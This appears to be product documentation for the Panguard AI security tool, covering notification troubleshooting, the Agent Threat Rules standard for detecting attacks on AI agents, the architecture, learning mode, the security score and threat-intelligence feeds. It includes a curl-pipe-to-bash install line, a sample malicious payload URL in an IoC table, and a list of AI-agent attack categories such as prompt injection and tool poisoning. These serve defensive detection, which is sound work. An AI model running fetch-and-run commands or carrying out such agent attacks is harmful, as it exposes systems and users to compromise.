    * Use an [App Password](https://support.google.com/accounts/answer/185833), not your account password
    * Enable 2-step verification on your Google account first
    * Generate an App Password at [myaccount.google.com/apppasswords](https://myaccount.google.com/apppasswords)

    **For other providers:**

    * Verify the username is correct (usually the full email address)
    * Check if the provider requires app-specific passwords
    * Re-run setup:
      ```bash theme={null}
      panguard chat setup email
      ```
  </Accordion>

  <Accordion title="Emails going to spam">
    * Add `alerts@panguard.ai` (or your configured `from` address) to your contacts
    * If self-hosting, set up SPF, DKIM, and DMARC records for your sending domain
    * Use a reputable SMTP provider (SendGrid, AWS SES, Mailgun)
  </Accordion>
</AccordionGroup>

***

## Webhook Issues

<AccordionGroup>
  <Accordion title="Connection timeout">
    ```
    Error: Webhook request timed out after 10000ms
    ```

    The webhook endpoint is not responding within the timeout window.

    * Verify the URL is correct and the server is reachable
    * Increase the timeout:
      ```bash theme={null}
      panguard config set channels.webhook.timeout 30000
      ```
    * Test the endpoint directly:
      ```bash theme={null}
      curl -X POST YOUR_WEBHOOK_URL \
        -H "Content-Type: application/json" \
        -d '{"test": true}'
      ```
  </Accordion>

  <Accordion title="SSL certificate error">
    ```
    Error: unable to verify the first certificate
    ```

    The webhook endpoint uses a self-signed or invalid SSL certificate.

    * Use a valid SSL certificate (Let's Encrypt is free)
    * For internal endpoints, set the CA certificate:
      ```bash theme={null}
      export NODE_EXTRA_CA_CERTS=/path/to/ca-cert.pem
      ```
  </Accordion>
</AccordionGroup>

***

## Wrong Notification Language

If notifications arrive in the wrong language:

```bash theme={null}
# Check current language
panguard config get preferences.language

# Change language
panguard chat setup --lang zh-TW
```

Or re-run the full setup to reconfigure language preference:

```bash theme={null}
panguard chat setup
```

Supported languages:

| Code    | Language            |
| ------- | ------------------- |
| `en`    | English             |
| `zh-TW` | Traditional Chinese |
| `ja`    | Japanese            |

<Info>
  The notification language is independent of the CLI language (`PANGUARD_LANG`). The CLI language
  controls terminal output, while the notification language controls message content sent via Chat
  channels.
</Info>


# ATR (Agent Threat Rules)
Source: https://docs.panguard.ai/zh-Hant/atr

AI agent 威脅偵測的開放標準。768 條規則。OWASP Agentic Top 10: 10/10 覆蓋。社群維護。

Agent Threat Rules (ATR) 是專為 AI agent 時代設計的開放標準，用來描述和偵測針對 AI agent 的安全威脅。

## ATR 是什麼？

ATR 規則偵測傳統安全工具抓不到的威脅：

* **Prompt injection** -- MCP tool 回應中的注入攻擊
* **Tool poisoning** -- 透過隱藏指令污染工具
* **資料外洩** -- 透過 agent 動作竊取資料
* **權限提升** -- 透過 skill 操控提升權限
* **供應鏈攻擊** -- 針對 skill registry 的攻擊
* **憑證竊取** -- 透過 agent tool call 竊取憑證
* **跨 agent 操控** -- 多 agent 系統中的操控攻擊

## 關鍵數字

|                    |                                           |
| ------------------ | ----------------------------------------- |
| **768** 條規則        | 涵蓋 10 大威脅類別                               |
| **OWASP 10/10**    | 完整覆蓋 OWASP Agentic Top 10                 |
| **95.7%** recall   | Garak jailbreak corpus（650 個樣本）           |
| **100%** recall    | SKILL.md benchmark（97% precision、0.2% FP） |
| **90,000+** skills | 已掃描的 skills（67,799 已掃、1,096 確認惡意）         |
| **770+** patterns  | 獨立偵測簽章                                    |
| **\< 3ms** 掃描時間    | 每個 skill（regex 層）                         |

## OWASP Agentic Top 10 覆蓋

ATR 為每個 OWASP 類別提供可執行的偵測規則：

| OWASP Category                    | ATR Rules | Coverage |
| --------------------------------- | --------- | -------- |
| ASI01: Agent Goal Hijack          | 13        | STRONG   |
| ASI02: Tool Misuse & Exploitation | 11        | STRONG   |
| ASI03: Identity & Privilege Abuse | 9         | STRONG   |
| ASI04: Agentic Supply Chain       | 8         | STRONG   |
| ASI05: Unexpected Code Execution  | 8         | STRONG   |
| ASI06: Memory & Context Poisoning | 8         | STRONG   |
| ASI07: Inter-Agent Communication  | 5         | MODERATE |
| ASI08: Cascading Failures         | 4         | MODERATE |
| ASI09: Human-Agent Trust          | 5         | MODERATE |
| ASI10: Rogue Agents               | 7         | MODERATE |

<Info>
  OWASP 提供 checklist。ATR 提供可執行的規則。用 ATR 把 OWASP 合規從紙上作業變成自動化偵測。
</Info>

## 三層偵測

| 層級      | 方法                     | 速度      | 覆蓋範圍       |
| ------- | ---------------------- | ------- | ---------- |
| Layer 1 | Regex pattern matching | 3ms     | 已知 pattern |
| Layer 2 | 內容指紋比對                 | \~200ms | 變體         |
| Layer 3 | LLM-as-judge           | \~3s    | 新型威脅       |

## Threat Crystallization

當 LLM 層（Layer 3）發現新的攻擊 pattern 時，ATR 會將它結晶成確定性的 regex 規則：

1. LLM 偵測到新型威脅 pattern
2. RuleScaffolder 產生新的 regex 規則
3. Shadow mode 用 1,000 個樣本驗證（FP \< 0.1%）
4. 規則晉升並透過 Threat Cloud 分發（\< 1 小時）
5. 下次出現同樣攻擊，Layer 1 在 3ms 內就攔截 -- 不需要 LLM

每次 LLM 呼叫都在訓練 regex 引擎。LLM 成本只有一次。結晶後的規則永久運行，零成本。

## 研究論文

> **Agent Threat Rules: A Community-Driven Detection Standard for AI Agent Security**
> [Zenodo DOI: 10.5281/zenodo.19178002](https://doi.org/10.5281/zenodo.19178002)

論文記錄了：威脅分類體系、偵測架構、PINT benchmark 評測，以及 64 種已知繞過技術（公開發布）。

## 標準化進度（2026-05-25）

ATR 已發布提案階段的標準化 scaffolding，準備送 OASIS Open Project。Scaffolding 包含 9 席 Technical Steering Committee 章程（CNCF 模型、每 company group 2 席上限、2 席主權國家聯絡席）、標準威脅模型、OpenTelemetry 相容事件格式規格、附 threshold Ed25519 簽章的 conformance 語料庫架構、DCO 貢獻模型，以及 TypeScript、Python、Go 三語言 reference implementation 介面契約。

所有 scaffolding 標記為 **PROPOSED（提案中）**，**未 ratified**。9 席 TSC 尚未組成，trademarks 未註冊，現有 v1.1 治理繼續運作。Rule 格式、npm 套件、TypeScript engine API、所有規則皆未變動 — Panguard 整合 ATR 不需修改。

第一個主權子範圍 (`ATR-TW-YYYY-NNNNN`) 已在 bootstrap maintainer attestation 下發布，等待正式台灣主權機關採用。

完整狀態矩陣請見 ATR repo 的 [STANDARDIZATION-STATUS.md](https://github.com/Agent-Threat-Rule/agent-threat-rules/blob/main/STANDARDIZATION-STATUS.md)。

## 開始使用

```bash theme={null}
# 安裝 Panguard（內含 ATR 引擎）
curl -fsSL https://get.panguard.ai | bash

# 用 ATR 規則掃描 skill
panguard audit skill /path/to/skill

# 啟動即時防護
panguard guard start
```

<CardGroup>
  <Card title="ATR on GitHub" icon="github" href="https://github.com/Agent-Threat-Rule/agent-threat-rules">
    瀏覽規則、貢獻程式碼、給顆星。
  </Card>

  <Card title="OWASP Mapping" icon="list-check" href="https://github.com/Agent-Threat-Rule/agent-threat-rules/blob/main/docs/OWASP-MAPPING.md">
    完整的規則對 OWASP Agentic Top 10 逐條對應表。
  </Card>
</CardGroup>


# 系統架構
Source: https://docs.panguard.ai/zh-Hant/concepts/architecture

Panguard AI 的技術架構：monorepo 結構、部署層級、元件互動。

# 系統架構

Panguard AI 是一個 TypeScript monorepo，18 個 package 分成三個部署層級。每個元件 -- 從你筆電上的 CLI 到資料中心的 Threat Cloud -- 都共用同一個 `@panguard-ai/core` 基礎。

***

## 三個部署層級

```
  +-------------------------------------------------------+
  |                    Cloud Layer                         |
  |   Threat Cloud (collective intelligence)              |
  |   Cloud AI (Claude / OpenAI)                          |
  |   Web Dashboard                                       |
  +-------------------------------------------------------+
                          ^
                          | HTTPS / WebSocket
                          v
  +-------------------------------------------------------+
  |                   Manager Layer                        |
  |   Fleet orchestration, policy management              |
  |   Agent registration, centralized logging             |
  +-------------------------------------------------------+
                          ^
                          | HTTPS / WebSocket
                          v
  +-------------------------------------------------------+
  |                  Endpoint Layer                        |
  |   Guard agent (real-time protection)                  |
  |   Scan, CLI tools                                     |
  +-------------------------------------------------------+
```

<Tabs>
  <Tab title="Endpoint 層">
    Guard agent 和 CLI 工具直接跑在受保護的機器上。安全事件在這裡被偵測、由 Layer 1 和 Layer 2 AI 分析、即時回應。

    **主要元件：**

    * Guard agent（持續監控）
    * Scan 引擎（按需稽核）
    * 通知系統（Telegram、Slack、Email、LINE、Webhook）
    * Trap 蜜罐（8 種誘餌服務）
    * Report 產生器（PDF、JSON）
    * 本地 AI（Ollama，Layer 2）

    **完全離線運作。** Endpoint 層用 cache 的規則和本地 AI，不需要網路。
  </Tab>

  <Tab title="Manager 層">
    Manager 負責跨機群編排多台機器上的 Guard agent。提供集中式策略管理、agent 註冊、彙總 log。

    **主要功能：**

    * 機群策略部署
    * Agent 健康監控和註冊
    * 集中式 log 彙總
    * WebSocket 即時 dashboard
    * REST API 做程式化控制

    **部署：** 自架在你的基礎設施上。完全免費開源。
  </Tab>

  <Tab title="Cloud 層">
    Cloud 層提供集體情報和深度 AI 分析，處理本地搞不定的威脅。

    **主要服務：**

    * Threat Cloud（社群驅動的 IoC 資料庫）
    * 雲端 AI 分析（Claude / OpenAI，Layer 3）
    * Web dashboard

    **可選的。** Cloud 層加強防護但不是必要的。所有核心功能不需要它就能跑。
  </Tab>
</Tabs>

***

## 13-Package Monorepo

程式碼用 pnpm workspace monorepo 組織，每個 package 負責一件事：

| Package                        | 層級       | 用途                           |
| ------------------------------ | -------- | ---------------------------- |
| `@panguard-ai/core`            | 共用       | 規則引擎、監控器、AI provider、i18n、加密 |
| `@panguard-ai/panguard`        | Endpoint | CLI 入口（`panguard` 指令）        |
| `@panguard-ai/panguard-guard`  | Endpoint | 即時防護 agent（5 階段 AI pipeline） |
| `@panguard-ai/panguard-scan`   | Endpoint | 安全掃描器和風險評分                   |
| `@panguard-ai/panguard-chat`   | Endpoint | 通知系統（5 個頻道、3 種角色格式）          |
| `@panguard-ai/panguard-trap`   | Endpoint | 蜜罐系統（8 種服務類型）                |
| `@panguard-ai/panguard-report` | Endpoint | 合規報告（TCSA、ISO 27001、SOC 2）   |
| `@panguard-ai/threat-cloud`    | Cloud    | 集體情報 API server              |
| `@panguard-ai/website`         | Cloud    | 行銷網站 (panguard.ai)           |

***

## @panguard-ai/core -- 共用基礎

`core` package 是所有其他 package 的基礎，提供：

<AccordionGroup>
  <Accordion title="規則引擎">
    * ATR 規則 parser 和 evaluator（pattern matching、情境感知偵測、多層分析）
    * 768 條內建 ATR 規則，支援自訂規則載入
  </Accordion>

  <Accordion title="監控器">
    4 個系統監控器收集安全相關事件： - **Log 監控器** -- 系統 log 解析（syslog、journald、Windows
    Event Log） - **Network 監控器** -- 連線追蹤、port scan、DNS 查詢 - **Process 監控器** --
    行程建立、終止、資源用量 - **File 監控器** -- 檔案系統變更、權限修改、新的 binary
  </Accordion>

  <Accordion title="AI Provider">
    * FunnelRouter 做 Layer 2/3 級聯 - Ollama adapter（本地 AI） - Claude 和 OpenAI adapter（雲端 AI）
    * 啟動時自動偵測 provider - AES-256-GCM 加密 key 儲存（`~/.panguard/llm.enc`）
  </Accordion>

  <Accordion title="i18n">
    * 英文和繁體中文 - 所有 CLI 輸出、報告、通知都完整在地化 - 用 `panguard init` 或 `--lang` flag
      選語言
  </Accordion>

  <Accordion title="系統偵察">
    * OS 偵測（macOS、Linux、Windows）
    * 網路介面列舉
    * 執行中服務清單
    * 安全工具偵測（防毒、EDR、IDS）
    * 硬體識別碼收集，用於加密 key 衍生
  </Accordion>
</AccordionGroup>

***

## Tech Stack

| 技術                 | 版本     | 用途                             |
| ------------------ | ------ | ------------------------------ |
| **TypeScript**     | 5.7    | 所有 package 的主要語言               |
| **Node.js**        | 22     | Runtime                        |
| **pnpm**           | 9+     | Workspace-aware 套件管理器          |
| **Vitest**         | Latest | 單元和整合測試                        |
| **esbuild**        | Latest | CLI 發布的快速 bundler              |
| **better-sqlite3** | Latest | Threat Cloud 和 Guard 狀態的嵌入式 DB |
| **Next.js**        | 14     | Web dashboard 和行銷網站            |

***

## 跨平台支援

Panguard 跑在三大 OS 上：

| 平台                     | Guard | Scan | Trap | Manager |
| ---------------------- | ----- | ---- | ---- | ------- |
| **macOS** (ARM64, x64) | Yes   | Yes  | Yes  | Yes     |
| **Linux** (x64, ARM64) | Yes   | Yes  | Yes  | Yes     |
| **Windows** (x64)      | Yes   | Yes  | Yes  | Yes     |

平台特定實作在 `core` 裡透過 interface 抽象化：

* **防火牆：** macOS `pfctl`、Linux `iptables`/`nftables`、Windows `netsh`
* **服務管理：** macOS `launchd`、Linux `systemd`、Windows Services
* **Log 來源：** macOS unified log、Linux `journald`/syslog、Windows Event Log

***

## 資料流

一個典型的安全事件在系統裡的流程：

<Steps>
  <Step title="偵測事件">
    `core` 裡的監控器（process、network、file、log）在 endpoint 偵測到安全相關事件。
  </Step>

  <Step title="Layer 1 評估">
    ATR 規則引擎在 1ms 內評估事件。規則命中的話，事件馬上被分類並觸發回應。
  </Step>

  <Step title="AI 升級（如果需要）">
    沒命中的事件透過 FunnelRouter 丟給 Layer 2（本地 Ollama）或 Layer 3（雲端 AI）做深度分析。
  </Step>

  <Step title="執行回應">
    依分類和信心度，自動回應引擎採取行動：封鎖 IP、隔離檔案、kill 行程、或只通知。
  </Step>

  <Step title="報告和通知">
    透過設定的頻道發通知。事件記錄進 Guard 狀態、安全分數更新、合規報告。
  </Step>

  <Step title="Threat Cloud 上傳（可選）">
    有開 Threat Cloud 的話，匿名化的指標會上傳，貢獻給社群。
  </Step>
</Steps>

***

## 相關內容

<CardGroup>
  <Card title="三層式 AI" icon="brain-circuit" href="/concepts/three-layer-ai">
    規則、本地 AI、雲端 AI 漏斗的深入說明。
  </Card>

  <Card title="Guard Pipeline" icon="shield" href="/products/guard/agent-pipeline">
    Guard 裡面的 5 階段 AI agent pipeline。
  </Card>

  <Card title="Manager" icon="server" href="/products/guard/overview">
    機群編排和集中式管理。
  </Card>
</CardGroup>


# 學習模式
Source: https://docs.panguard.ai/zh-Hant/concepts/learning-mode

Guard 花 7 天學你系統的正常行為，才開始防護。不是偷懶，是為了不亂叫。

# 學習模式

Guard 會先觀察你的系統 7 天，然後才開始保護。這不是偷懶 -- 這是 Panguard 避免誤報轟炸的方法。誤報太多正是大多數安全工具變廢物的原因。

## 為什麼要學習期？

傳統安全工具裝完就開始狂叫。結果：

* 正常跑的 cron job 被標成可疑行程
* 內部服務被當異常連線
* 每天幾百條警報，幾乎全是誤報
* 使用者直接關通知，工具等於白裝

Guard 花 7 天搞清楚你系統上的**正常行為長什麼樣**，然後才判斷什麼是**不正常的**。

***

## 學習期間在幹嘛

<Steps>
  <Step title="第 1-3 天：收集基線">
    Guard 安靜觀察並記錄：

    * **行程基線** -- 哪些程式平常會跑、啟動時間、資源用量
    * **網路基線** -- 正常連線 pattern、常用 port、流量特徵
    * **檔案基線** -- 重要目錄的變更 pattern
    * **使用者基線** -- 登入時間、來源 IP、操作 pattern
  </Step>

  <Step title="第 4-7 天：建模型">
    Guard 分析收集到的資料：

    * 算出正常行為範圍（mean + standard deviation）
    * 辨識週期性 pattern（每日備份、排程更新）
    * 標記已知安全行為，避免未來誤報
  </Step>

  <Step title="第 8 天起：進入防護模式">
    Guard 自動切換：

    * 切到主動防護模式
    * 偏離基線的行為觸發警報
    * 持續學習，基線隨環境演進
  </Step>
</Steps>

***

## 學習模式 vs. 防護模式

| 屬性        | 學習模式     | 防護模式     |
| --------- | -------- | -------- |
| **啟動**    | 裝完自動開始   | 7 天後自動切換 |
| **警報**    | 不發       | 偏離基線時發出  |
| **自動回應**  | 不執行      | 按信心度執行   |
| **通知**    | 每日學習進度摘要 | 即時威脅通知   |
| **AI 分析** | 只觀察      | 完整三層漏斗   |

***

## 查看學習進度

```bash theme={null}
panguard guard status
```

學習期間的輸出範例：

```
  -- Guard Status -----------------------

  Mode:       Learning (Day 3/7)
  Uptime:     3d 14h 22m
  Events:     12,847 observed
  Baseline:   42% complete
  Processes:  187 baselined
  Networks:   34 patterns learned
```

***

## 防護模式的信心度回應

Guard 進入防護模式後，依信心度決定怎麼反應：

| 信心度    | 動作      | 範例                 |
| ------ | ------- | ------------------ |
| > 90%  | 自動執行回應  | 已知惡意 IP -- 直接封鎖    |
| 70-90% | 通知你確認   | 可疑行程 -- 問你要不要 kill |
| \< 70% | 只通知，不動作 | 輕微異常 -- 讓你知道就好     |

<Tip>高確定性威脅馬上處理，不確定的交給你判斷。不會亂砍正常行程。</Tip>

***

## 模式轉換條件

從學習到防護不是純粹看天數。Guard 還會看：

* **基線信心度** -- 要到門檻值（>= 0.7）才行，代表資料夠了
* **最低事件數** -- 觀察到的事件要夠多，才能建出有代表性的基線
* **Pattern 覆蓋率** -- 行程、網路、登入、port 這些 pattern 都要有資料

<Info>如果你的系統活動量很低，學習期可能超過 7 天，直到基線信心度達標為止。</Info>

***

## 持續更新基線

防護模式不會把基線凍住。Guard 持續調適：

* **24 小時清除週期** -- 超過 30 天的舊 pattern 會被清掉
* **新 pattern 整合** -- 合法的新服務或行程會逐步納入
* **時段感知** -- 0:00-5:59 的事件會加成信心度（這時段有活動通常比較可疑）

***

## 重置學習期

系統有重大變更的時候（server 搬家、大規模部署），可以重置學習期：

```bash theme={null}
panguard guard stop
# 清掉資料目錄裡的基線檔
panguard guard start
```

Guard 會重新跑 7 天學習模式，建全新的基線。

<Warning>重置會清掉所有學過的 pattern。新的學習期完成前，Guard 不會發警報也不會自動回應。</Warning>

***

## 相關內容

<CardGroup>
  <Card title="三層式 AI 漏斗" icon="brain-circuit" href="/concepts/three-layer-ai">
    規則引擎、本地 AI、雲端 AI 怎麼協同運作。
  </Card>

  <Card title="安全分數" icon="chart-bar" href="/concepts/security-score">
    0-100 分的評分系統，一眼看出安全狀態。
  </Card>
</CardGroup>


# 安全分數
Source: https://docs.panguard.ai/zh-Hant/concepts/security-score

Panguard 怎麼算出 0-100 的系統風險分數和 A 到 F 等級。

# 安全分數

一個 0-100 的數字，直接告訴你系統的安全狀態。每次掃描、每次查 Guard 狀態都會看到這個分數和對應的等級。

```
  Score: 85/100 [=================---] Grade: B
```

***

## 等級對照

| 分數     | 等級    | 意義             |
| ------ | ----- | -------------- |
| 90-100 | **A** | 優秀 -- 防護全面     |
| 80-89  | **B** | 良好 -- 還有小幅改善空間 |
| 70-79  | **C** | 普通 -- 該處理中等風險了 |
| 60-69  | **D** | 要改善 -- 有明顯風險   |
| 0-59   | **F** | 危急 -- 馬上處理     |

***

## 評分因子

安全分數由 8 個因子加權計算，每個因子獨立評 0-100 分：

| 因子          | 權重  | 在看什麼               |
| ----------- | --- | ------------------ |
| **開放 port** | 15% | 有沒有不該開的 port 暴露在外？ |
| **防火牆**     | 15% | 防火牆有沒有開？規則完不完整？    |
| **系統更新**    | 15% | OS 和軟體有沒有更新到最新？    |
| **威脅狀態**    | 15% | 系統上有沒有已知的活躍威脅？     |
| **密碼策略**    | 10% | 有沒有強制密碼複雜度？        |
| **安全工具**    | 10% | 有沒有裝防毒、EDR 或 IDS？  |
| **合規性**     | 10% | 有沒有符合基本安全框架？       |
| **回應準備度**   | 10% | 威脅回應機制準備好了沒？       |

### 計算方式

```
Total = (Ports x 0.15) + (Firewall x 0.15) + (Updates x 0.15) +
        (Threats x 0.15) + (Password x 0.10) + (Tools x 0.10) +
        (Compliance x 0.10) + (Response x 0.10)
```

<Info>每個因子獨立評分 0-100，加權加總就是最終分數。</Info>

***

## 快速掃描 vs 完整掃描

掃描深度會影響評估哪些因子：

| 掃描模式                    | 耗時     | 評估因子                         | 適用場景    |
| ----------------------- | ------ | ---------------------------- | ------- |
| `panguard scan --quick` | \~30 秒 | 開放 port、防火牆、密碼策略、執行中的服務      | 每天快速看一下 |
| `panguard scan`         | \~60 秒 | 全部 8 個因子，含 SSL 憑證、排程任務、共享資料夾 | 完整稽核    |

<Tip>快速掃描的分數可能跟完整掃描不太一樣，因為看的因子比較少。要最準的分數就跑完整掃描。</Tip>

***

## 分數明細範例

掃描完 Panguard 會列出詳細明細：

```
  -- Risk Score ----------------------------

  Score: 72/100 [==================--] Grade: C
  Trend: improving (+5 since last scan)

  Breakdown:
    Firewall:    80/100
    Open Ports:  60/100
    Passwords:   50/100
    Updates:     90/100
    Tools:       70/100
    Threats:     85/100
    Compliance:  65/100
    Response:    70/100
```

***

## Guard 持續更新分數

Guard 跑著的時候，分數會隨狀態變化即時重算：

* 新 port 開了 -- 開放 port 因子掉分
* 偵測到威脅並自動封鎖 -- 威脅狀態因子更新
* Guard 跑超過 7 天 -- 回應準備度因子加分

```bash theme={null}
panguard guard status
```

```
  -- Security Score -----------------------

  Score: 88/100 [===================] Grade: B
  Trend: stable (no change in 48h)
  Guard uptime: 14 days
```

<Note>Guard 持續監控比定期掃描更準確、更即時。分數會隨安全狀態近乎即時更新。</Note>

***

## 趨勢追蹤

安全分數會追蹤變化趨勢：

| 趨勢      | 條件        | 意義      |
| ------- | --------- | ------- |
| **改善中** | 比上次高 2+ 分 | 安全狀態在變好 |
| **下降中** | 比上次低 2+ 分 | 安全狀態在惡化 |
| **穩定**  | 變化 2 分以內  | 安全狀態持平  |

<Warning>就算分數還可以，下降趨勢也該調查。小幅下滑往往是大問題的前兆。</Warning>

***

## PDF 報告

安全分數是 PDF 報告的核心元素：

* **分數和等級** 放在第一頁最醒目的位置
* **因子明細** 列出各類別的個別分數
* **修復建議** 按對分數的影響排序
* **趨勢圖** 顯示歷史分數變化（有歷史資料時）

```bash theme={null}
panguard scan --output my-report.pdf
```

***

## 在哪看分數

<AccordionGroup>
  <Accordion title="Panguard Scan">
    每次掃描完都會顯示：

    ```bash theme={null}
    panguard scan
    ```
  </Accordion>

  <Accordion title="Panguard Guard">
    Guard 持續算即時分數，用這個看：

    ```bash theme={null}
    panguard guard status
    ```
  </Accordion>

  <Accordion title="Panguard Status">
    快速看目前分數：

    ```bash theme={null}
    panguard status
    ```
  </Accordion>
</AccordionGroup>

***

## 拉高分數

<Steps>
  <Step title="跑一次完整掃描">先用 `panguard scan` 看目前分數和因子明細。</Step>
  <Step title="先處理嚴重的">專注 CRITICAL 和 HIGH 的發現。這些對分數影響最大。</Step>
  <Step title="開 Guard">持續跑 Guard 能改善回應準備度和威脅狀態兩個因子。</Step>
  <Step title="再掃一次確認">改完之後再掃描，確認分數有上去。</Step>
</Steps>

***

## 相關內容

<CardGroup>
  <Card title="首次掃描" icon="magnifying-glass" href="/guides/first-scan">
    跑第一次安全掃描的步驟。
  </Card>

  <Card title="學習模式" icon="graduation-cap" href="/concepts/learning-mode">
    Guard 怎麼在 7 天學習期建立行為基線。
  </Card>
</CardGroup>


# 威脅情報
Source: https://docs.panguard.ai/zh-Hant/concepts/threat-intelligence

即時威脅情報 feed 和 Threat Cloud 集體情報網路。

# 威脅情報

威脅情報提供已知攻擊者、惡意 IP、domain、URL、malware 特徵的結構化資訊。Panguard 自動查這些資料庫，判斷你系統上的活動是不是跟已知威脅有關。

<Info>你不需要懂技術細節。Guard 自動查詢，結果用白話跟你說。</Info>

***

## 5 個內建威脅情報 feed

### abuse.ch 系列

| 來源                                             | 指標類型               | 說明                          |
| ---------------------------------------------- | ------------------ | --------------------------- |
| [ThreatFox](https://threatfox.abuse.ch)        | IP、domain、URL、hash | malware 攻擊活動的入侵指標 (IoC) 資料庫 |
| [URLhaus](https://urlhaus.abuse.ch)            | URL                | malware 散布 URL 資料庫          |
| [Feodo Tracker](https://feodotracker.abuse.ch) | IP                 | 殭屍網路 C2 server 追蹤           |

### 其他來源

| 來源                                 | 指標類型 | 說明                    |
| ---------------------------------- | ---- | --------------------- |
| [GreyNoise](https://greynoise.io)  | IP   | 分辨針對性攻擊和大規模掃描         |
| [AbuseIPDB](https://abuseipdb.com) | IP   | 社群回報的惡意 IP 資料庫，附信心度評分 |

***

## Feed 更新排程

| Feed          | 更新頻率 | 查詢方式     |
| ------------- | ---- | -------- |
| ThreatFox     | 每小時  | 本地 cache |
| URLhaus       | 每小時  | 本地 cache |
| Feodo Tracker | 每小時  | 本地 cache |
| GreyNoise     | 即時查詢 | API call |
| AbuseIPDB     | 即時查詢 | API call |

<Tip>1 小時的更新間隔可以改。頻寬有限的話可以調成 6 或 24 小時。</Tip>

### 本地 Cache

查詢結果會 cache 在本地，避免重複查：

* Cache 時間：依來源 1-24 小時
* Cache 位置：Guard 資料目錄
* 過期的自動清掉

***

## 入侵指標 (IoC)

威脅情報追蹤這些指標類型：

| 類型            | 說明                  | 範例                            |
| ------------- | ------------------- | ----------------------------- |
| **IP**        | 已知惡意 IP             | `203.0.113.50`                |
| **Domain**    | 惡意 domain           | `malware.example.com`         |
| **URL**       | 惡意 URL              | `http://evil.com/payload.exe` |
| **File Hash** | malware 指紋（SHA-256） | `e3b0c44298fc1c149a...`       |
| **Email**     | 釣魚信地址               | `phish@attacker.com`          |

### 自動查詢

Guard 偵測到可疑活動時自動查威脅情報：

```
偵測到可疑 IP 203.0.113.50 連線
       |
       v
  查 ThreatFox  -> 已知 C2 server
  查 AbuseIPDB  -> 被回報 1,247 次
  查 GreyNoise  -> 大規模掃描器
       |
       v
  結論：高風險 -- 自動封鎖 + 通知
```

***

## Threat Cloud -- 集體情報

除了公開 feed，Panguard 使用者還能貢獻和受益於 Threat Cloud -- 社群驅動的集體情報網路，專注 ATR 規則共識。

### 結晶化飛輪

Threat Cloud 的核心價值是結晶化飛輪 -- 自我強化的循環，把個別掃描發現提煉成社群確認的偵測規則：

```
  掃描 skill --> 發現問題 --> TC 提案 --> 共識（3+ 確認）--> 正式規則
       ^                                                          |
       └──────────────── 分發給所有掃描器 ─────────────────────────┘
```

每次循環都讓整個網路更強：

1. **掃描** -- 任何 Panguard 掃描器（CLI、Website、Guard）掃一個 MCP skill
2. **提案** -- 高嚴重性發現產生 ATR 提案，用 pattern hash 識別
3. **確認** -- 其他掃描器碰到同樣的 pattern hash 就確認
4. **升格** -- 3+ 次獨立確認後，自動升格為正式規則
5. **分發** -- 正式規則透過 `GET /api/atr-rules` 給所有掃描器
6. **強化** -- 掃描器載入新規則，偵測能力提升，產生更多提案

Pattern hash 格式是 `scan:{skillName}:{findingSummary}`，SHA-256 截斷成 16 個 hex 字元。因為所有掃描器用同一個 `@panguard-ai/scan-core` 函式庫，不管掃描從 CLI、Website 還是 Guard 來的，同樣的威脅 pattern 都會算出一樣的 hash。

### LLM 審查

Threat Cloud 有自動化 LLM 審查員（Claude Sonnet 4），評估 ATR 提案的誤報風險、覆蓋度、偵測精確度和 YAML 有效性。提案可以純靠社群共識（3+ 確認）升格，也可以 LLM 核准加社群確認一起升格。

### IoC Feed

Threat Cloud 也分發傳統 IoC feed（IP 黑名單、domain 黑名單）和社群 skill 黑名單。這些補充 ATR 規則 pipeline 在網路層級的偵測。

***

## 隱私和資料保護

<Warning>
  **隱私保證：** 只上傳威脅指標（IP、hash、pattern）。絕不分享系統資訊、帳號名稱、內部
  IP、檔案內容或任何個資。
</Warning>

| 隱私措施        | 細節                       |
| ----------- | ------------------------ |
| **IP 匿名化**  | 來源 IP 上傳前做 /16 匿名化       |
| **GDPR 合規** | 不收集也不儲存個資                |
| **零原始資料**   | 不傳 log 內容、檔案內容、系統細節      |
| **零遙測**     | 不收使用分析、crash report、行為追蹤 |
| **可以關掉**    | Threat Cloud 可以完全停用      |

***

## 離線模式

Panguard 完全支援離線。威脅情報 feed 連不上的時候：

* Layer 1 規則引擎繼續跑，用本地 cache 的規則
* 之前 cache 的 feed 資料在過期前還能用
* 新的偵測只靠 ATR 規則和行為基線
* 分數會反映情報覆蓋率降低

```bash theme={null}
# 關掉所有外部情報（純規則模式）
panguard guard start --offline
```

<Note>離線模式停用 Threat Cloud 和即時 feed 查詢。Cache 的資料在過期前照用。</Note>

***

## 看威脅情報

### Guard 狀態

```bash theme={null}
panguard guard status
```

```
  -- Threat Intelligence --------------------

  Feeds:        5 active, last update 2h ago
  IoC matched:  3 in last 24h
  Blocked IPs:  12 total
```

### 通知

威脅情報命中時，會依你的使用者角色用不同格式通知：

<Tabs>
  <Tab title="Boss 角色">
    ```
    [Panguard AI Security Alert]

    Your server was communicating with a known malicious server.
    That IP has been reported 1,247 times globally.
    The connection has been automatically blocked. No action needed.

    Risk level: High
    Status: Automatically resolved
    ```
  </Tab>

  <Tab title="Developer 角色">
    ```
    [Panguard AI Alert]

    Threat Intel Match: 203.0.113.50
    Source: AbuseIPDB (confidence: 98%), ThreatFox (tag: C2)
    Process: curl (PID 5678) -> 203.0.113.50:443
    Action: IP blocked via iptables
    Rule: atr/network/c2-communication.yml
    ```
  </Tab>

  <Tab title="IT Admin 角色">
    ```
    [Panguard AI - Remediation Guide]

    Event: Communication with known C2 server detected
    Severity: High
    Action taken: Auto-blocked IP 203.0.113.50

    Recommended next steps:
    1. Check if process curl (PID 5678) is legitimate
    2. If not, terminate: kill -9 5678
    3. Check for other processes connecting to the same IP
    4. Run a system scan: panguard scan
    ```
  </Tab>
</Tabs>

***

## 相關內容

<CardGroup>
  <Card title="部署 Threat Cloud" icon="cloud" href="/guides/threat-cloud-deployment">
    部署你自己的 Threat Cloud server。
  </Card>

  <Card title="三層式 AI 漏斗" icon="brain-circuit" href="/concepts/three-layer-ai">
    威脅情報怎麼整合進偵測 pipeline。
  </Card>
</CardGroup>


# 三層式 AI 漏斗
Source: https://docs.panguard.ai/zh-Hant/concepts/three-layer-ai

Panguard 怎麼用級聯式架構在 1ms 內處理 90% 的安全事件 -- 規則、本地 AI、雲端 AI 三層搞定。

# 三層式 AI 漏斗

Panguard AI 用三層級聯架構分析安全事件。90% 的事件由規則引擎在 1ms 內搞定，只有最難搞的 3% 才會丟到雲端 AI。

## 為什麼要三層？

把每個安全事件都丟給 AI 模型會出三個問題：

1. **太慢** -- AI 推論要好幾秒，攻擊可不會等你。
2. **太貴** -- 每台機器每天幾千個事件，token 費用會失控。
3. **不可靠** -- API 一掛，防護就停擺。

